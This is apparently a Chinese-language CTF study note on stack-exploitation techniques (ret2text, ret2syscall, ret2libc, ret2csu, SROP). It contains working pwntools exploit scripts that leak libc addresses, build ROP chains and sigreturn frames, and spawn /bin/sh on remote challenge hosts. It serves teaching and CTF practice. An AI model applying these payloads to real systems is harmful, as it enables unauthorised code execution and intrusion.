ret2text
覆盖ret,劫持程序流到程序片段(如后门函数)执行。
ret2shellcode
覆盖ret,劫持程序流到自己布置的shellcode处执行。
ret2syscall
通过ROP链来给寄存器赋值,触发中断调用系统函数来getshell。
常见函数的调用号:
系统调用步骤:
1.把所需函数的调用号赋值给rax/eax寄存器
2.给参数传参,32位就直接在栈上隔一个单位,64位是rdi->rsi->rdx->rcx->r8->r9
3.触发中断,32位是int 80;64位是syscall。然后就能调用函数执行对应指令了。
示例payload,已知binsh地址,传参然后调用system函数来getshell:
payload = b'a'*offset
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdi)+p64(binsh)
payload += p64(pop_rsi_r15)+p64(0)+p64(0)
payload += p64(pop_rdx)+p64(0)
payload += p64(syscall)
ret2libc
通常用于题目本身没给binsh和system/execve函数的时候。libc是一个动态链接库,里面有system和binsh字符串,可以通过间接的方式来找它们。先找一个可以打印的函数,这个函数需满足在got表中,并且也得在libc中。先利用溢出来执行这个打印的函数,然后把它got地址处的值,即真实地址打印出来,根据它的的真实地址可以用LibcSearch搜到对应的libc版本(不同版本各函数偏移不一样),然后用它的地址减去libc版本中它的偏移,就能得到libc的起始地址,用libc的起始地址加上目标函数(如system)的偏移,就是目标函数的真正地址。
步骤:
1.泄露特定函数地址
通常用write或者puts,我更喜欢用后者,因为参数只需要给一个就行。
write:
payload=cyclic(offset)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(4)+p64(write_plt)+p64(main)
puts:
payload=cyclic(offset)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
2.通过泄露的函数地址计算所需函数的地址:
两种办法:
如果题目给了libc就直接用:
libc=ELF("/home/monke/vmcourse_pwn/5/libc.so.6")
libcbase=puts-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh = libcbase + next(libc.search(b"/bin/sh"))
如果题目没给,就得用libcsearcher,一个一个试:
libc=LibcSearcher("puts",puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
3.拿到binsh和system地址后就是常规ROP来getshell
payload=cyclic(offset)+p64(pop_rdi)+p64(binsh)+p64(system)
模板:
from pwn import*
from LibcSearcher import *
p=remote("10.12.153.73",10302)
#p = process("/home/monke/vmcourse_pwn/5/pwn.bin")
elf=ELF("/home/monke/vmcourse_pwn/5/pwn.bin")
context(arch="amd64", os="linux", log_level="debug")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main_addr=elf.sym["main"]
pop_rdi=0x40117e
ret=0x40101a
payload=cyclic(64+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter('Go!!!',payload)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc=ELF("/home/monke/vmcourse_pwn/5/libc.so.6")
libcbase=puts-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh = libcbase + next(libc.search(b"/bin/sh"))
#libc=LibcSearcher("puts",puts)
#libcbase=puts-libc.dump('puts')
#system=libcbase+libc.dump('system')
#binsh=libcbase+libc.dump('str_bin_sh')
print(hex(system))
print(hex(binsh))
payload=cyclic(64+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
p.sendlineafter('Go!!!',payload)
p.interactive()
此外,需要注意的是,有时候ret2libc类型题会出现这样一种情况,即使用ebx/rbx来保存got表地址,这个时候需要将其保留,不能覆盖:


可以直接用IDA看:

payload模板需要更改为:
ebx = base + 0x2fc0
payload = cyclic(132) + p32(ebx) + b"bbbb" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
ret2csu
64位传参是rdi->rsi->rdx->rcx->r8->r9,但是有时候程序找不到pop rdx的gadget,那怎么实现传参呢?这时候就需要ret2csu了。
在调用了libc库的程序里面,会有这样一个函数来进行初始化:

内容如下:

从上图可以看到,虽然没有直接pop rdx,但是有pop r13和mov rdx,r13,也就是可以间接操控rdx的值,这就解决了没有pop rdx的问题。
利用函数模板:
def csu(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):
payload = cyclic(offset)
payload += p64(csu_behind_gadget)
payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)
payload += p64(csu_front_gadget)
payload += p64(0) * 7
payload += p64(main_addr)
p.sendlineafter('You Find Me?!!\n',payload)
利用代码:
csu(0,0, 1, elf.got["read"], 16, bss, 0, vuln)
p.send(p64(execve) + b'/bin/sh\x00')
csu(0,0, 1, bss, 0, 0, bss+8, vuln)
其中,fill是因为csu_behind_gadget开头有个add rsp,8 ,得平衡一下栈。rbx为0,rbp为1是为了满足指令add rbx,1; cmp rbx,rbp;剩下的就是正常传参,注意,不同程序寄存器的对应关系可能有偏差,比如有时候是mov rdx,r13;有时候是mov rdx,r15;得根据具体情况来利用。
例题 UCTC CTF2024 a gift:
常规的ret2csu
找csu片段:

所以有
def csu(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):
payload = cyclic(16)
payload += p64(csu_behind_gadget)
payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)
payload += p64(csu_front_gadget)
payload += p64(0) * 7
payload += p64(main_addr)
p.sendlineafter('You Find Me?!!\n',payload)
后面按套路来就行
from pwn import*
from LibcSearcher import*
#连接远程
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf=ELF('/home/monke/pwn/uctccttf/pwncsu/pwn')
p=remote("182.92.65.134",41373)
#p=process('/home/monke/pwn/uctccttf/pwncsu/pwn')
write_plt=elf.plt["write"]
write_got=elf.got["write"]
main_addr=elf.sym["main"]
vuln=0x4011c3
pop_rdi=0x4012f3
ret=0x401019
pop_rsi_r15=0x401411
csu_behind_gadget=0x4012E6
csu_front_gadget=0x4012D0
bss=0x404050
def csu(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):
payload = cyclic(16)
payload += p64(csu_behind_gadget)
payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)
payload += p64(csu_front_gadget)
payload += p64(0) * 7
payload += p64(main_addr)
p.sendlineafter('You Find Me?!!\n',payload)
def csu1(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):
payload = cyclic(16)
payload += p64(csu_behind_gadget)
payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)
payload += p64(csu_front_gadget)
payload += p64(0) * 7
payload += p64(main_addr)
p.sendlineafter('You Find Me?!!\n',payload)
p.sendlineafter('age?\n',b'1'*7)
csu(0,0, 1, write_got, 8, write_got, 1,vuln)
write = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(write))
libc = ELF("/home/monke/pwn/uctccttf/pwncsu/libc.so.6")
libcbase=write-libc.symbols['write']
execve=libcbase+libc.sym['execve']
read=libcbase+libc.sym['read']
print(hex(read))
print(hex(elf.sym["read"]))
csu(0,0, 1, elf.got["read"], 16, bss, 0, vuln)
p.send(p64(execve) + b'/bin/sh\x00')
#csu(0,0, 1, execve, 0, 0, bss, main_addr)
csu(0,0, 1, bss, 0, 0, bss+8, vuln)
p.interactive()
SROP
当进程j进行系统调用时,会保存当前寄存器状态到用户栈(形成ucontext结构体),然后跳转到信号处理函数,执行完后再通过sigreturn系统调用恢复保存的上下文,由于对ucontext结构体没有检查,所以可以通过伪造ucontext结构体并触发sigreturn函数(调用号为15)来getshell。
例题 御网杯2024 ASM
程序非常简短,且没有pop_rdi等gadget,显然是SROP题


通过以下三个gadget可以控制rax

写exp:
from pwn import *
context.arch = 'amd64'
#p=process("/home/monke/PWN/yuwangbei2024/ASM")
p= remote("gz.imxbt.cn",20176)
syscall_ret= 0x40102D
binsh = 0x40200A # 程序中给出了binsh
rcx=0x401034 #mov ecx, 1 ; xor rax, rcx ; ret
xor_rax=0x40103d #xor rax, rax ; ret
shl_rax=0x401030 #shl rax, 1 ; ret
# 构造SROP帧
frame = SigreturnFrame()
frame.rax = 59 # execve系统调用号
frame.rdi = binsh # "/bin/sh"地址
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = syscall_ret # 执行syscall
# 构造payload
payload=p64(xor_rax)+p64(rcx)+p64(shl_rax) #rax=10
payload+=p64(rcx)+p64(shl_rax) #rax=110
payload+=p64(rcx)+p64(shl_rax) #rax=1110
payload+=p64(rcx) #rax=1111,即0xf,sigreturn的系统调用号
payload += p64(syscall_ret) # syscall触发sigreturn
payload += bytes(frame) # 伪造的sigreturn帧
# 发送payload
#gdb.attach(p)
p.send(payload)
p.interactive()
